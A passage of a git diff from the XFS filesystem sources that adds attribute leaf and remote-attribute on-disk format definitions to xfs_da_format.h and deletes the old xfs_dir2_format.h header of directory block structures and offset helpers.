*/ + __u8 name[1]; /* name bytes */ +} xfs_attr_leaf_name_remote_t; + +typedef struct xfs_attr_leafblock { + xfs_attr_leaf_hdr_t hdr; /* constant-structure header block */ + xfs_attr_leaf_entry_t entries[1]; /* sorted on key, not name */ + xfs_attr_leaf_name_local_t namelist; /* grows from bottom of buf */ + xfs_attr_leaf_name_remote_t valuelist; /* grows from bottom of buf */ +} xfs_attr_leafblock_t; + +/* + * CRC enabled leaf structures. Called "version 3" structures to match the + * version number of the directory and dablk structures for this feature, and + * attr2 is already taken by the variable inode attribute fork size feature. + */ +struct xfs_attr3_leaf_hdr { + struct xfs_da3_blkinfo info; + __be16 count; + __be16 usedbytes; + __be16 firstused; + __u8 holes; + __u8 pad1; + struct xfs_attr_leaf_map freemap[XFS_ATTR_LEAF_MAPSIZE]; + __be32 pad2; /* 64 bit alignment */ +}; + +#define XFS_ATTR3_LEAF_CRC_OFF (offsetof(struct xfs_attr3_leaf_hdr, info.crc)) + +struct xfs_attr3_leafblock { + struct xfs_attr3_leaf_hdr hdr; + struct xfs_attr_leaf_entry entries[1]; + + /* + * The rest of the block contains the following structures after the + * leaf entries, growing from the bottom up. The variables are never + * referenced, the locations accessed purely from helper functions. + * + * struct xfs_attr_leaf_name_local + * struct xfs_attr_leaf_name_remote + */ +}; + +/* + * incore, neutral version of the attribute leaf header + */ +struct xfs_attr3_icleaf_hdr { + __uint32_t forw; + __uint32_t back; + __uint16_t magic; + __uint16_t count; + __uint16_t usedbytes; + __uint16_t firstused; + __u8 holes; + struct { + __uint16_t base; + __uint16_t size; + } freemap[XFS_ATTR_LEAF_MAPSIZE]; +}; + +/* + * Flags used in the leaf_entry[i].flags field. + * NOTE: the INCOMPLETE bit must not collide with the flags bits specified + * on the system call, they are "or"ed together for various operations. + */ +#define XFS_ATTR_LOCAL_BIT 0 /* attr is stored locally */ +#define XFS_ATTR_ROOT_BIT 1 /* limit access to trusted attrs */ +#define XFS_ATTR_SECURE_BIT 2 /* limit access to secure attrs */ +#define XFS_ATTR_INCOMPLETE_BIT 7 /* attr in middle of create/delete */ +#define XFS_ATTR_LOCAL (1 << XFS_ATTR_LOCAL_BIT) +#define XFS_ATTR_ROOT (1 << XFS_ATTR_ROOT_BIT) +#define XFS_ATTR_SECURE (1 << XFS_ATTR_SECURE_BIT) +#define XFS_ATTR_INCOMPLETE (1 << XFS_ATTR_INCOMPLETE_BIT) + +/* + * Conversion macros for converting namespace bits from argument flags + * to ondisk flags. + */ +#define XFS_ATTR_NSP_ARGS_MASK (ATTR_ROOT | ATTR_SECURE) +#define XFS_ATTR_NSP_ONDISK_MASK (XFS_ATTR_ROOT | XFS_ATTR_SECURE) +#define XFS_ATTR_NSP_ONDISK(flags) ((flags) & XFS_ATTR_NSP_ONDISK_MASK) +#define XFS_ATTR_NSP_ARGS(flags) ((flags) & XFS_ATTR_NSP_ARGS_MASK) +#define XFS_ATTR_NSP_ARGS_TO_ONDISK(x) (((x) & ATTR_ROOT ? XFS_ATTR_ROOT : 0) |\ + ((x) & ATTR_SECURE ? XFS_ATTR_SECURE : 0)) +#define XFS_ATTR_NSP_ONDISK_TO_ARGS(x) (((x) & XFS_ATTR_ROOT ? ATTR_ROOT : 0) |\ + ((x) & XFS_ATTR_SECURE ? ATTR_SECURE : 0)) + +/* + * Alignment for namelist and valuelist entries (since they are mixed + * there can be only one alignment value) + */ +#define XFS_ATTR_LEAF_NAME_ALIGN ((uint)sizeof(xfs_dablk_t)) + +static inline int +xfs_attr3_leaf_hdr_size(struct xfs_attr_leafblock *leafp) +{ + if (leafp->hdr.info.magic == cpu_to_be16(XFS_ATTR3_LEAF_MAGIC)) + return sizeof(struct xfs_attr3_leaf_hdr); + return sizeof(struct xfs_attr_leaf_hdr); +} + +static inline struct xfs_attr_leaf_entry * +xfs_attr3_leaf_entryp(xfs_attr_leafblock_t *leafp) +{ + if (leafp->hdr.info.magic == cpu_to_be16(XFS_ATTR3_LEAF_MAGIC)) + return &((struct xfs_attr3_leafblock *)leafp)->entries[0]; + return &leafp->entries[0]; +} + +/* + * Cast typed pointers for "local" and "remote" name/value structs. + */ +static inline char * +xfs_attr3_leaf_name(xfs_attr_leafblock_t *leafp, int idx) +{ + struct xfs_attr_leaf_entry *entries = xfs_attr3_leaf_entryp(leafp); + + return &((char *)leafp)[be16_to_cpu(entries[idx].nameidx)]; +} + +static inline xfs_attr_leaf_name_remote_t * +xfs_attr3_leaf_name_remote(xfs_attr_leafblock_t *leafp, int idx) +{ + return (xfs_attr_leaf_name_remote_t *)xfs_attr3_leaf_name(leafp, idx); +} + +static inline xfs_attr_leaf_name_local_t * +xfs_attr3_leaf_name_local(xfs_attr_leafblock_t *leafp, int idx) +{ + return (xfs_attr_leaf_name_local_t *)xfs_attr3_leaf_name(leafp, idx); +} + +/* + * Calculate total bytes used (including trailing pad for alignment) for + * a "local" name/value structure, a "remote" name/value structure, and + * a pointer which might be either. + */ +static inline int xfs_attr_leaf_entsize_remote(int nlen) +{ + return ((uint)sizeof(xfs_attr_leaf_name_remote_t) - 1 + (nlen) + \ + XFS_ATTR_LEAF_NAME_ALIGN - 1) & ~(XFS_ATTR_LEAF_NAME_ALIGN - 1); +} + +static inline int xfs_attr_leaf_entsize_local(int nlen, int vlen) +{ + return ((uint)sizeof(xfs_attr_leaf_name_local_t) - 1 + (nlen) + (vlen) + + XFS_ATTR_LEAF_NAME_ALIGN - 1) & ~(XFS_ATTR_LEAF_NAME_ALIGN - 1); +} + +static inline int xfs_attr_leaf_entsize_local_max(int bsize) +{ + return (((bsize) >> 1) + ((bsize) >> 2)); +} + + + +/* + * Remote attribute block format definition + * + * There is one of these headers per filesystem block in a remote attribute. + * This is done to ensure there is a 1:1 mapping between the attribute value + * length and the number of blocks needed to store the attribute. This makes the + * verification of a buffer a little more complex, but greatly simplifies the + * allocation, reading and writing of these attributes as we don't have to guess + * the number of blocks needed to store the attribute data. + */ +#define XFS_ATTR3_RMT_MAGIC 0x5841524d /* XARM */ + +struct xfs_attr3_rmt_hdr { + __be32 rm_magic; + __be32 rm_offset; + __be32 rm_bytes; + __be32 rm_crc; + uuid_t rm_uuid; + __be64 rm_owner; + __be64 rm_blkno; + __be64 rm_lsn; +}; + +#define XFS_ATTR3_RMT_CRC_OFF offsetof(struct xfs_attr3_rmt_hdr, rm_crc) + +#define XFS_ATTR3_RMT_BUF_SPACE(mp, bufsize) \ + ((bufsize) - (xfs_sb_version_hascrc(&(mp)->m_sb) ? \ + sizeof(struct xfs_attr3_rmt_hdr) : 0)) + +#endif /* __XFS_DA_FORMAT_H__ */ diff --git a/include/xfs_dir2_format.h b/include/xfs_dir2_format.h deleted file mode 100644 index 9cf6738..0000000 --- a/include/xfs_dir2_format.h +++ /dev/null @@ -1,964 +0,0 @@ -/* - * Copyright (c) 2000-2001,2005 Silicon Graphics, Inc. - * Copyright (c) 2013 Red Hat, Inc. - * All Rights Reserved. - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write the Free Software Foundation, - * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA - */ -#ifndef __XFS_DIR2_FORMAT_H__ -#define __XFS_DIR2_FORMAT_H__ - -/* - * Directory version 2. - * - * There are 4 possible formats: - * - shortform - embedded into the inode - * - single block - data with embedded leaf at the end - * - multiple data blocks, single leaf+freeindex block - * - data blocks, node and leaf blocks (btree), freeindex blocks - * - * Note: many node blocks structures and constants are shared with the attr - * code and defined in xfs_da_btree.h. - */ - -#define XFS_DIR2_BLOCK_MAGIC 0x58443242 /* XD2B: single block dirs */ -#define XFS_DIR2_DATA_MAGIC 0x58443244 /* XD2D: multiblock dirs */ -#define XFS_DIR2_FREE_MAGIC 0x58443246 /* XD2F: free index blocks */ - -/* - * Directory Version 3 With CRCs. - * - * The tree formats are the same as for version 2 directories. The difference - * is in the block header and dirent formats. In many cases the v3 structures - * use v2 definitions as they are no different and this makes code sharing much - * easier. - * - * Also, the xfs_dir3_*() functions handle both v2 and v3 formats - if the - * format is v2 then they switch to the existing v2 code, or the format is v3 - * they implement the v3 functionality. This means the existing dir2 is a mix of - * xfs_dir2/xfs_dir3 calls and functions. The xfs_dir3 functions are called - * where there is a difference in the formats, otherwise the code is unchanged. - * - * Where it is possible, the code decides what to do based on the magic numbers - * in the blocks rather than feature bits in the superblock. This means the code - * is as independent of the external XFS code as possible as doesn't require - * passing struct xfs_mount pointers into places where it isn't really - * necessary. - * - * Version 3 includes: - * - * - a larger block header for CRC and identification purposes and so the - * offsets of all the structures inside the blocks are different. - * - * - new magic numbers to be able to detect the v2/v3 types on the fly. - */ - -#define XFS_DIR3_BLOCK_MAGIC 0x58444233 /* XDB3: single block dirs */ -#define XFS_DIR3_DATA_MAGIC 0x58444433 /* XDD3: multiblock dirs */ -#define XFS_DIR3_FREE_MAGIC 0x58444633 /* XDF3: free index blocks */ - -/* - * Dirents in version 3 directories have a file type field. Additions to this - * list are an on-disk format change, requiring feature bits. Valid values - * are as follows: - */ -#define XFS_DIR3_FT_UNKNOWN 0 -#define XFS_DIR3_FT_REG_FILE 1 -#define XFS_DIR3_FT_DIR 2 -#define XFS_DIR3_FT_CHRDEV 3 -#define XFS_DIR3_FT_BLKDEV 4 -#define XFS_DIR3_FT_FIFO 5 -#define XFS_DIR3_FT_SOCK 6 -#define XFS_DIR3_FT_SYMLINK 7 -#define XFS_DIR3_FT_WHT 8 - -#define XFS_DIR3_FT_MAX 9 - -/* - * Byte offset in data block and shortform entry. - */ -typedef __uint16_t xfs_dir2_data_off_t; -#define NULLDATAOFF 0xffffU -typedef uint xfs_dir2_data_aoff_t; /* argument form */ - -/* - * Normalized offset (in a data block) of the entry, really xfs_dir2_data_off_t. - * Only need 16 bits, this is the byte offset into the single block form. - */ -typedef struct { __uint8_t i[2]; } __arch_pack xfs_dir2_sf_off_t; - -/* - * Offset in data space of a data entry. - */ -typedef __uint32_t xfs_dir2_dataptr_t; -#define XFS_DIR2_MAX_DATAPTR ((xfs_dir2_dataptr_t)0xffffffff) -#define XFS_DIR2_NULL_DATAPTR ((xfs_dir2_dataptr_t)0) - -/* - * Byte offset in a directory. - */ -typedef xfs_off_t xfs_dir2_off_t; - -/* - * Directory block number (logical dirblk in file) - */ -typedef __uint32_t xfs_dir2_db_t; - -/* - * Inode number stored as 8 8-bit values. - */ -typedef struct { __uint8_t i[8]; } xfs_dir2_ino8_t; - -/* - * Inode number stored as 4 8-bit values. - * Works a lot of the time, when all the inode numbers in a directory - * fit in 32 bits. - */ -typedef struct { __uint8_t i[4]; } xfs_dir2_ino4_t; - -typedef union { - xfs_dir2_ino8_t i8; - xfs_dir2_ino4_t i4; -} xfs_dir2_inou_t; -#define XFS_DIR2_MAX_SHORT_INUM ((xfs_ino_t)0xffffffffULL) - -/* - * Directory layout when stored internal to an inode. - * - * Small directories are packed as tightly as possible so as to fit into the - * literal area of the inode. These "shortform" directories consist of a - * single xfs_dir2_sf_hdr header followed by zero or more xfs_dir2_sf_entry - * structures. Due the different inode number storage size and the variable - * length name field in the xfs_dir2_sf_entry all these structure are - * variable length, and the accessors in this file should be used to iterate - * over them. - */ -typedef struct xfs_dir2_sf_hdr { - __uint8_t count; /* count of entries */ - __uint8_t i8count; /* count of 8-byte inode #s */ - xfs_dir2_inou_t parent; /* parent dir inode number */ -} __arch_pack xfs_dir2_sf_hdr_t; - -typedef struct xfs_dir2_sf_entry { - __u8 namelen; /* actual name length */ - xfs_dir2_sf_off_t offset; /* saved offset */ - __u8 name[]; /* name, variable size */ - /* - * A single byte containing the file type field follows the inode - * number for version 3 directory entries. - * - * A xfs_dir2_ino8_t or xfs_dir2_ino4_t follows here, at a - * variable offset after the name. - */ -} __arch_pack xfs_dir2_sf_entry_t; - -static inline int xfs_dir2_sf_hdr_size(int i8count) -{ - return sizeof(struct xfs_dir2_sf_hdr) - - (i8count == 0) * - (sizeof(xfs_dir2_ino8_t) - sizeof(xfs_dir2_ino4_t)); -} - -static inline xfs_dir2_data_aoff_t -xfs_dir2_sf_get_offset(xfs_dir2_sf_entry_t *sfep) -{ - return get_unaligned_be16(&sfep->offset.i); -} - -static inline void -xfs_dir2_sf_put_offset(xfs_dir2_sf_entry_t *sfep, xfs_dir2_data_aoff_t off) -{ - put_unaligned_be16(off, &sfep->offset.i); -} - -static inline struct xfs_dir2_sf_entry * -xfs_dir2_sf_firstentry(struct xfs_dir2_sf_hdr *hdr) -{ - return (struct xfs_dir2_sf_entry *) - ((char *)hdr + xfs_dir2_sf_hdr_size(hdr->i8count)); -} - -static inline int -xfs_dir3_sf_entsize( - struct xfs_mount *mp, - struct xfs_dir2_sf_hdr *hdr, - int len) -{ - int count = sizeof(struct xfs_dir2_sf_entry); /* namelen + offset */ - - count += len; /* name */ - count += hdr->i8count ? sizeof(xfs_dir2_ino8_t) : - sizeof(xfs_dir2_ino4_t); /* ino # */ - if (xfs_sb_version_hasftype(&mp->m_sb)) - count += sizeof(__uint8_t); /* file type */ - return count; -} - -static inline struct xfs_dir2_sf_entry * -xfs_dir3_sf_nextentry( - struct xfs_mount *mp, - struct xfs_dir2_sf_hdr *hdr, - struct xfs_dir2_sf_entry *sfep) -{ - return (struct xfs_dir2_sf_entry *) - ((char *)sfep + xfs_dir3_sf_entsize(mp, hdr, sfep->namelen)); -} - -/* - * in dir3 shortform directories, the file type field is stored at a variable - * offset after the inode number. Because it's only a single byte, endian - * conversion is not necessary. - */ -static inline __uint8_t * -xfs_dir3_sfe_ftypep( - struct xfs_dir2_sf_hdr *hdr, - struct xfs_dir2_sf_entry *sfep) -{ - return (__uint8_t *)&sfep->name[sfep->namelen]; -} - -static inline __uint8_t -xfs_dir3_sfe_get_ftype( - struct xfs_mount *mp, - struct xfs_dir2_sf_hdr *hdr, - struct xfs_dir2_sf_entry *sfep) -{ - __uint8_t *ftp; - - if (!xfs_sb_version_hasftype(&mp->m_sb)) - return XFS_DIR3_FT_UNKNOWN; - - ftp = xfs_dir3_sfe_ftypep(hdr, sfep); - if (*ftp >= XFS_DIR3_FT_MAX) - return XFS_DIR3_FT_UNKNOWN; - return *ftp; -} - -static inline void -xfs_dir3_sfe_put_ftype( - struct xfs_mount *mp, - struct xfs_dir2_sf_hdr *hdr, - struct xfs_dir2_sf_entry *sfep, - __uint8_t ftype) -{ - __uint8_t *ftp; - - ASSERT(ftype < XFS_DIR3_FT_MAX); - - if (!xfs_sb_version_hasftype(&mp->m_sb)) - return; - ftp = xfs_dir3_sfe_ftypep(hdr, sfep); - *ftp = ftype; -} - -/* - * Data block structures. - * - * A pure data block looks like the following drawing on disk: - * - * +-------------------------------------------------+ - * | xfs_dir2_data_hdr_t | - * +-------------------------------------------------+ - * | xfs_dir2_data_entry_t OR xfs_dir2_data_unused_t | - * | xfs_dir2_data_entry_t OR xfs_dir2_data_unused_t | - * | xfs_dir2_data_entry_t OR xfs_dir2_data_unused_t | - * | ... | - * +-------------------------------------------------+ - * | unused space | - * +-------------------------------------------------+ - * - * As all the entries are variable size structures the accessors below should - * be used to iterate over them. - * - * In addition to the pure data blocks for the data and node formats, - * most structures are also used for the combined data/freespace "block" - * format below. - */ - -#define XFS_DIR2_DATA_ALIGN_LOG 3 /* i.e., 8 bytes */ -#define XFS_DIR2_DATA_ALIGN (1 << XFS_DIR2_DATA_ALIGN_LOG) -#define XFS_DIR2_DATA_FREE_TAG 0xffff -#define XFS_DIR2_DATA_FD_COUNT 3 - -/* - * Directory address space divided into sections, - * spaces separated by 32GB. - */ -#define XFS_DIR2_SPACE_SIZE (1ULL << (32 + XFS_DIR2_DATA_ALIGN_LOG)) -#define XFS_DIR2_DATA_SPACE 0 -#define XFS_DIR2_DATA_OFFSET (XFS_DIR2_DATA_SPACE * XFS_DIR2_SPACE_SIZE) -#define XFS_DIR2_DATA_FIRSTDB(mp) \ - xfs_dir2_byte_to_db(mp, XFS_DIR2_DATA_OFFSET) - -/* - * Describe a free area in the data block. - * - * The freespace will be formatted as a xfs_dir2_data_unused_t. - */ -typedef struct xfs_dir2_data_free { - __be16 offset; /* start of freespace */ - __be16 length; /* length of freespace */ -} xfs_dir2_data_free_t; - -/* - * Header for the data blocks. - * - * The code knows that XFS_DIR2_DATA_FD_COUNT is 3. - */ -typedef struct xfs_dir2_data_hdr { - __be32 magic; /* XFS_DIR2_DATA_MAGIC or */ - /* XFS_DIR2_BLOCK_MAGIC */ - xfs_dir2_data_free_t bestfree[XFS_DIR2_DATA_FD_COUNT]; -} xfs_dir2_data_hdr_t; - -/* - * define a structure for all the verification fields we are adding to the - * directory block structures. This will be used in several structures. - * The magic number must be the first entry to align with all the dir2 - * structures so we determine how to decode them just by the magic number. - */ -struct xfs_dir3_blk_hdr { - __be32 magic; /* magic number */ - __be32 crc; /* CRC of block */ - __be64 blkno; /* first block of the buffer */ - __be64 lsn; /* sequence number of last write */ - uuid_t uuid; /* filesystem we belong to */ - __be64 owner; /* inode that owns the block */ -}; - -struct xfs_dir3_data_hdr { - struct xfs_dir3_blk_hdr hdr; - xfs_dir2_data_free_t best_free[XFS_DIR2_DATA_FD_COUNT]; - __be32 pad; /* 64 bit alignment */ -}; - -#define XFS_DIR3_DATA_CRC_OFF offsetof(struct xfs_dir3_data_hdr, hdr.crc) - -static inline struct xfs_dir2_data_free * -xfs_dir3_data_bestfree_p(struct xfs_dir2_data_hdr *hdr) -{ - if (hdr->magic == cpu_to_be32(XFS_DIR3_DATA_MAGIC) || - hdr->magic == cpu_to_be32(XFS_DIR3_BLOCK_MAGIC)) { - struct xfs_dir3_data_hdr *hdr3 = (struct xfs_dir3_data_hdr *)hdr; - return hdr3->best_free; - } - return hdr->bestfree; -} - -/* - * Active entry in a data block. - * - * Aligned to 8 bytes. After the variable length name field there is a - * 2 byte tag field, which can be accessed using xfs_dir3_data_entry_tag_p. - * - * For dir3 structures, there is file type field between the name and the tag. - * This can only be manipulated by helper functions. It is packed hard against - * the end of the name so any padding for rounding is between the file type and - * the tag. - */ -typedef struct xfs_dir2_data_entry { - __be64 inumber; /* inode number */ - __u8 namelen; /* name length */ - __u8 name[]; /* name bytes, no null */ - /* __u8 filetype; */ /* type of inode we point to */ - /* __be16 tag; */ /* starting offset of us */ -} xfs_dir2_data_entry_t; - -/* - * Unused entry in a data block. - * - * Aligned to 8 bytes. Tag appears as the last 2 bytes and must be accessed - * using xfs_dir2_data_unused_tag_p. - */ -typedef struct xfs_dir2_data_unused { - __be16 freetag; /* XFS_DIR2_DATA_FREE_TAG */ - __be16 length; /* total free length */ - /* variable offset */ - __be16 tag; /* starting offset of us */ -} xfs_dir2_data_unused_t; - -/* - * Size of a data entry. - */ -static inline int -__xfs_dir3_data_entsize( - bool ftype, - int n) -{ - int size = offsetof(struct xfs_dir2_data_entry, name[0]); - - size += n; - size += sizeof(xfs_dir2_data_off_t); - if (ftype) - size += sizeof(__uint8_t); - return roundup(size, XFS_DIR2_DATA_ALIGN); -} -static inline int -xfs_dir3_data_entsize( - struct xfs_mount *mp, - int n) -{ - bool ftype = xfs_sb_version_hasftype(&mp->m_sb) ? true : false; - return __xfs_dir3_data_entsize(ftype, n); -} - -static inline __uint8_t -xfs_dir3_dirent_get_ftype( - struct xfs_mount *mp, - struct xfs_dir2_data_entry *dep) -{ - if (xfs_sb_version_hasftype(&mp->m_sb)) { - __uint8_t type = dep->name[dep->namelen]; - - ASSERT(type < XFS_DIR3_FT_MAX); - if (type < XFS_DIR3_FT_MAX) - return type; - - } - return XFS_DIR3_FT_UNKNOWN; -} - -static inline void -xfs_dir3_dirent_put_ftype( - struct xfs_mount *mp, - struct xfs_dir2_data_entry *dep, - __uint8_t type) -{ - ASSERT(type < XFS_DIR3_FT_MAX); - ASSERT(dep->namelen != 0); - - if (xfs_sb_version_hasftype(&mp->m_sb)) - dep->name[dep->namelen] = type; -} - -/* - * Pointer to an entry's tag word. - */ -static inline __be16 * -xfs_dir3_data_entry_tag_p( - struct xfs_mount *mp, - struct xfs_dir2_data_entry *dep) -{ - return (__be16 *)((char *)dep + - xfs_dir3_data_entsize(mp, dep->namelen) - sizeof(__be16)); -} - -/* - * Pointer to a freespace's tag word. - */ -static inline __be16 * -xfs_dir2_data_unused_tag_p(struct xfs_dir2_data_unused *dup) -{ - return (__be16 *)((char *)dup + - be16_to_cpu(dup->length) - sizeof(__be16)); -} - -static inline size_t -xfs_dir3_data_hdr_size(bool dir3) -{ - if (dir3) - return sizeof(struct xfs_dir3_data_hdr); - return sizeof(struct xfs_dir2_data_hdr); -} - -static inline size_t -xfs_dir3_data_entry_offset(struct xfs_dir2_data_hdr *hdr) -{ - bool dir3 = hdr->magic == cpu_to_be32(XFS_DIR3_DATA_MAGIC) || - hdr->magic == cpu_to_be32(XFS_DIR3_BLOCK_MAGIC); - return xfs_dir3_data_hdr_size(dir3); -} - -static inline struct xfs_dir2_data_entry * -xfs_dir3_data_entry_p(struct xfs_dir2_data_hdr *hdr) -{ - return (struct xfs_dir2_data_entry *) - ((char *)hdr + xfs_dir3_data_entry_offset(hdr)); -} - -static inline struct xfs_dir2_data_unused * -xfs_dir3_data_unused_p(struct xfs_dir2_data_hdr *hdr) -{ - return (struct xfs_dir2_data_unused *) - ((char *)hdr + xfs_dir3_data_entry_offset(hdr)); -} - -/* - * Offsets of . and .. in data space (always block 0) - * - * XXX: there is scope for significant optimisation of the logic here. Right - * now we are checking for "dir3 format" over and over again. Ideally we should - * only do it once for each operation. - */ -static inline xfs_dir2_data_aoff_t -xfs_dir3_data_dot_offset(struct xfs_mount *mp) -{ - return xfs_dir3_data_hdr_size(xfs_sb_version_hascrc(&mp->m_sb)); -} - -static inline xfs_dir2_data_aoff_t -xfs_dir3_data_dotdot_offset(struct xfs_mount *mp) -{ - return xfs_dir3_data_dot_offset(mp) + - xfs_dir3_data_entsize(mp, 1); -} - -static inline xfs_dir2_data_aoff_t -xfs_dir3_data_first_offset(struct xfs_mount *mp) -{ - return xfs_dir3_data_dotdot_offset(mp) + - xfs_dir3_data_entsize(mp, 2); -} - -/* - * location of . and .. in data space (always block 0) - */ -static inline struct xfs_dir2_data_entry * -xfs_dir3_data_dot_entry_p( - struct xfs_mount *mp, - struct xfs_dir2_data_hdr *hdr) -{ - return (struct xfs_dir2_data_entry *) - ((char *)hdr + xfs_dir3_data_dot_offset(mp)); -} - -static inline struct xfs_dir2_data_entry * -xfs_dir3_data_dotdot_entry_p( - struct xfs_mount *mp, - struct xfs_dir2_data_hdr *hdr) -{ - return (struct xfs_dir2_data_entry *) - ((char *)hdr + xfs_dir3_data_dotdot_offset(mp)); -} - -static inline struct xfs_dir2_data_entry * -xfs_dir3_data_first_entry_p( - struct xfs_mount *mp, - struct xfs_dir2_data_hdr *hdr) -{ - return (struct xfs_dir2_data_entry *) - ((char *)hdr + xfs_dir3_data_first_offset(mp)); -} - -/* - * Leaf block structures. - * - * A pure leaf block looks like the following drawing on disk: - * - * +---------------------------+ - * | xfs_dir2_leaf_hdr_t | - * +---------------------------+ - * | xfs_dir2_leaf_entry_t | - * | xfs_dir2_leaf_entry_t | - * | xfs_dir2_leaf_entry_t | - * | xfs_dir2_leaf_entry_t | - * | ... | - * +---------------------------+ - * | xfs_dir2_data_off_t | - * | xfs_dir2_data_off_t | - * | xfs_dir2_data_off_t | - * | ... | - * +---------------------------+ - * | xfs_dir2_leaf_tail_t | - * +---------------------------+ - * - * The xfs_dir2_data_off_t members (bests) and tail are at the end of the block - * for single-leaf (magic = XFS_DIR2_LEAF1_MAGIC) blocks only, but not present - * for directories with separate leaf nodes and free space blocks - * (magic = XFS_DIR2_LEAFN_MAGIC). - * - * As all the entries are variable size structures the accessors below should - * be used to iterate over them. - */ - -/* - * Offset of the leaf/node space. First block in this space - * is the btree root. - */ -#define XFS_DIR2_LEAF_SPACE 1 -#define XFS_DIR2_LEAF_OFFSET (XFS_DIR2_LEAF_SPACE * XFS_DIR2_SPACE_SIZE) -#define XFS_DIR2_LEAF_FIRSTDB(mp) \ - xfs_dir2_byte_to_db(mp, XFS_DIR2_LEAF_OFFSET) - -/* - * Leaf block header. - */ -typedef struct xfs_dir2_leaf_hdr { - xfs_da_blkinfo_t info; /* header for da routines */ - __be16 count; /* count of entries */ - __be16 stale; /* count of stale entries */ -} xfs_dir2_leaf_hdr_t; - -struct xfs_dir3_leaf_hdr { - struct xfs_da3_blkinfo info; /* header for da routines */ - __be16 count; /* count of entries */ - __be16 stale; /* count of stale entries */ - __be32 pad; /* 64 bit alignment */ -}; - -struct xfs_dir3_icleaf_hdr { - __uint32_t forw; - __uint32_t back; - __uint16_t magic; - __uint16_t count; - __uint16_t stale; -}; - -/* - * Leaf block entry. - */ -typedef struct xfs_dir2_leaf_entry { - __be32 hashval; /* hash value of name */ - __be32 address; /* address of data entry */ -} xfs_dir2_leaf_entry_t; - -/* - * Leaf block tail. - */ -typedef struct xfs_dir2_leaf_tail { - __be32 bestcount; -} xfs_dir2_leaf_tail_t; - -/* - * Leaf block. - */ -typedef struct xfs_dir2_leaf { - xfs_dir2_leaf_hdr_t hdr; /* leaf header */ - xfs_dir2_leaf_entry_t __ents[]; /* entries */ -} xfs_dir2_leaf_t; - -struct xfs_dir3_leaf { - struct xfs_dir3_leaf_hdr hdr; /* leaf header */ - struct xfs_dir2_leaf_entry __ents[]; /* entries */ -}; - -#define XFS_DIR3_LEAF_CRC_OFF offsetof(struct xfs_dir3_leaf_hdr, info.crc) - -extern void xfs_dir3_leaf_hdr_from_disk(struct xfs_dir3_icleaf_hdr *to, - struct xfs_dir2_leaf *from); - -static inline int -xfs_dir3_leaf_hdr_size(struct xfs_dir2_leaf *lp) -{ - if (lp->hdr.info.magic == cpu_to_be16(XFS_DIR3_LEAF1_MAGIC) || - lp->hdr.info.magic == cpu_to_be16(XFS_DIR3_LEAFN_MAGIC)) - return sizeof(struct xfs_dir3_leaf_hdr); - return sizeof(struct xfs_dir2_leaf_hdr); -} - -static inline int -xfs_dir3_max_leaf_ents(struct xfs_mount *mp, struct xfs_dir2_leaf *lp) -{ - return (mp->m_dirblksize - xfs_dir3_leaf_hdr_size(lp)) / - (uint)sizeof(struct xfs_dir2_leaf_entry); -} - -/* - * Get address of the bestcount field in the single-leaf block. - */ -static inline struct xfs_dir2_leaf_entry * -xfs_dir3_leaf_ents_p(struct xfs_dir2_leaf *lp) -{ - if (lp->hdr.info.magic == cpu_to_be16(XFS_DIR3_LEAF1_MAGIC) || - lp->hdr.info.magic == cpu_to_be16(XFS_DIR3_LEAFN_MAGIC)) { - struct xfs_dir3_leaf *lp3 = (struct xfs_dir3_leaf *)lp; - return lp3->__ents; - } - return lp->__ents; -} - -/* - * Get address of the bestcount field in the single-leaf block. - */ -static inline struct xfs_dir2_leaf_tail * -xfs_dir2_leaf_tail_p(struct xfs_mount *mp, struct xfs_dir2_leaf *lp) -{ - return (struct xfs_dir2_leaf_tail *) - ((char *)lp + mp->m_dirblksize - - sizeof(struct xfs_dir2_leaf_tail)); -} - -/* - * Get address of the bests array in the single-leaf block. - */ -static inline __be16 * -xfs_dir2_leaf_bests_p(struct xfs_dir2_leaf_tail *ltp) -{ - return (__be16 *)ltp - be32_to_cpu(ltp->bestcount); -} - -/* - * DB blocks here are logical directory block numbers, not filesystem blocks. - */ - -/* - * Convert dataptr to byte in file space - */ -static inline xfs_dir2_off_t -xfs_dir2_dataptr_to_byte(struct xfs_mount *mp, xfs_dir2_dataptr_t dp) -{ - return (xfs_dir2_off_t)dp << XFS_DIR2_DATA_ALIGN_LOG; -} - -/* - * Convert byte in file space to dataptr. It had better be aligned. - */ -static inline xfs_dir2_dataptr_t -xfs_dir2_byte_to_dataptr(struct xfs_mount *mp, xfs_dir2_off_t by) -{ - return (xfs_dir2_dataptr_t)(by >> XFS_DIR2_DATA_ALIGN_LOG); -} - -/* - * Convert byte in space to (DB) block - */ -static inline xfs_dir2_db_t -xfs_dir2_byte_to_db(struct xfs_mount *mp, xfs_dir2_off_t by) -{ - return (xfs_dir2_db_t) - (by >> (mp->m_sb.sb_blocklog + mp->m_sb.sb_dirblklog)); -} - -/* - * Convert dataptr to a block number - */ -static inline xfs_dir2_db_t -xfs_dir2_dataptr_to_db(struct xfs_mount *mp, xfs_dir2_dataptr_t dp) -{ - return xfs_dir2_byte_to_db(mp, xfs_dir2_dataptr_to_byte(mp, dp)); -} - -/* - * Convert byte in space to offset in a block - */ -static inline xfs_dir2_data_aoff_t -xfs_dir2_byte_to_off(struct xfs_mount *mp, xfs_dir2_off_t by) -{ - return (xfs_dir2_data_aoff_t)(by & - ((1 << (mp->m_sb.sb_blocklog + mp->m_sb.sb_dirblklog)) - 1)); -} - -/* - * Convert dataptr to a byte offset in a block - */ -static inline xfs_dir2_data_aoff_t -xfs_dir2_dataptr_to_off(struct xfs_mount *mp, xfs_dir2_dataptr_t dp) -{ - return xfs_dir2_byte_to_off(mp, xfs_dir2_dataptr_to_byte(mp, dp)); -} - -/* - * Convert block and offset to byte in space - */ -static inline xfs_dir2_off_t -xfs_dir2_db_off_to_byte(struct xfs_mount *mp, xfs_dir2_db_t db, - xfs_dir2_data_aoff_t o) -{ - return ((xfs_dir2_off_t)db << - (mp->m_sb.sb_blocklog + mp->m_sb.sb_dirblklog)) + o; -} - -/* - * Convert block (DB) to block (dablk) - */ -static inline xfs_dablk_t -xfs_dir2_db_to_da(struct xfs_mount *mp, xfs_dir2_db_t db) -{ - return (xfs_dablk_t)(db << mp->m_sb.sb_dirblklog); -} - -/* - * Convert byte in space to 